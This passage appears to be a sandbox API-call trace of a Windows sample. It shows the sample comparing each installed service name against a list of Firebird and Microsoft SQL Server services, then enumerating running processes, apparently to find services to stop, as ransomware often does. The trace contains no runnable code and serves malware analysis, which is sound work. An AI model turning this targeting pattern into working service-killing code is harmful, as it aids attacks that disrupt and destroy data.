returned 1 [0252.815] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.815] lstrlenW (lpString="Audiosrv") returned 8 [0252.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0252.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0252.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0252.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0252.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0252.816] lstrlenW (lpString="BFE") returned 3 [0252.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.816] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.816] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.816] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0252.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.816] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0252.816] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0252.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0252.816] lstrlenW (lpString="CDPSvc") returned 6 [0252.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0252.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0252.816] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0252.816] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0252.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0252.816] lstrlenW (lpString="ClickToRunSvc") returned 13 [0252.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0252.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0252.816] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0252.816] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0252.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0252.817] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0252.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.817] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0252.817] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0252.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0252.817] lstrlenW (lpString="CryptSvc") returned 8 [0252.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.817] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.817] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.817] lstrlenW (lpString="DcomLaunch") returned 10 [0252.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.817] lstrlenW (lpString="DeviceAssociationService") returned 24 [0252.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0252.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0252.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0252.818] lstrlenW (lpString="Dhcp") returned 4 [0252.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.818] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0252.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0252.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0252.818] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0252.818] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0252.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0252.818] lstrlenW (lpString="Dnscache") returned 8 [0252.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.818] lstrlenW (lpString="DPS") returned 3 [0252.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.818] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.818] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.818] lstrlenW (lpString="DusmSvc") returned 7 [0252.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0252.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0252.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0252.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0252.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0252.819] lstrlenW (lpString="EventLog") returned 8 [0252.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0252.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0252.819] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0252.819] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0252.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0252.819] lstrlenW (lpString="EventSystem") returned 11 [0252.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.819] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.819] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.819] lstrlenW (lpString="FontCache") returned 9 [0252.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0252.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0252.819] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0252.819] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0252.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0252.819] lstrlenW (lpString="gpsvc") returned 5 [0252.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.820] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.820] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.820] lstrlenW (lpString="iphlpsvc") returned 8 [0252.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.820] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0252.820] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0252.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0252.820] lstrlenW (lpString="KeyIso") returned 6 [0252.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0252.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0252.820] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0252.820] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0252.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0252.820] lstrlenW (lpString="LanmanServer") returned 12 [0252.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0252.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0252.820] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0252.820] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0252.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0252.820] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.820] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.820] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.820] lstrlenW (lpString="lfsvc") returned 5 [0252.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0252.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0252.821] lstrlenW (lpString="lmhosts") returned 7 [0252.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.821] lstrlenW (lpString="LSM") returned 3 [0252.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0252.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0252.821] lstrlenW (lpString="MpsSvc") returned 6 [0252.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.821] lstrlenW (lpString="NcbService") returned 10 [0252.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0252.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0252.821] lstrlenW (lpString="netprofm") returned 8 [0252.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0252.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0252.821] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0252.821] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0252.822] lstrlenW (lpString="NgcSvc") returned 6 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0252.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0252.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0252.822] lstrlenW (lpString="NlaSvc") returned 6 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.822] lstrlenW (lpString="nsi") returned 3 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.822] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.822] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.822] lstrlenW (lpString="PcaSvc") returned 6 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.822] lstrlenW (lpString="PlugPlay") returned 8 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.822] lstrlenW (lpString="Power") returned 5 [0252.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.823] lstrlenW (lpString="ProfSvc") returned 7 [0252.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.823] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.823] lstrlenW (lpString="RpcSs") returned 5 [0252.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.823] lstrlenW (lpString="SamSs") returned 5 [0252.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.824] lstrlenW (lpString="Schedule") returned 8 [0252.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.824] lstrlenW (lpString="SecurityHealthService") returned 21 [0252.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0252.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0252.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0252.824] lstrlenW (lpString="SENS") returned 4 [0252.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.824] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.824] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.825] lstrlenW (lpString="Spooler") returned 7 [0252.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.825] lstrlenW (lpString="StateRepository") returned 15 [0252.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0252.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0252.825] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0252.825] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0252.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0252.825] lstrlenW (lpString="SysMain") returned 7 [0252.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.825] lstrlenW (lpString="SystemEventsBroker") returned 18 [0252.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0252.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0252.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0252.825] lstrlenW (lpString="Themes") returned 6 [0252.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.826] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0252.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0252.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0252.826] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0252.826] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0252.826] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x730ee8 | out: hHeap=0x640000) returned 1 [0252.826] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0253.501] Process32FirstW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.502] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.503] lstrlenW (lpString="System") returned 6 [0253.503] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.504] lstrlenW (lpString="smss.exe") returned 8 [0253.504] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.505] lstrlenW (lpString="csrss.exe") returned 9 [0253.505] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.506] lstrlenW (lpString="wininit.exe") returned 11 [0253.506] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.507] lstrlenW (lpString="csrss.exe") returned 9 [0253.507] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.507] lstrlenW (lpString="winlogon.exe") returned 12 [0253.508] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.508] lstrlenW (lpString="services.exe") returned 12 [0253.509] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.509] lstrlenW (lpString="lsass.exe") returned 9 [0253.509] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, 